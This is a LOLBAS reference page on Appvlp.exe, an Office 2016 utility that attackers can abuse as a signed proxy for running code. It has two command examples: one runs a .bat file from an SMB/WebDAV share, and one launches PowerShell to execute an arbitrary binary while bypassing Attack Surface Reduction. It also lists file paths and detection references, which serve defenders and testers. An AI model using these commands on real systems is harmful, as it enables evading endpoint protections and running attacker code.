LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Appvlp.exe

View source

Application Virtualization Utility Included with Microsoft Office 2016

Execute
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1218

Executes .bat file through AppVLP.exe

COMMAND
AppVLP.exe {PATH_SMB:.bat}
USE CASE
Execution of BAT file hosted on Webdav server.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 w/Office 2016
Execute · CMD
EXAMPLE 02T1218

Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

COMMAND
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
USE CASE
Local execution of process bypassing Attack Surface Reduction (ASR).
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 w/Office 2016
Execute · EXE
02 / ON DISK

Known paths

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

fab@0rbz_
Will@moo_hax
Matt Wilson@enigma0x3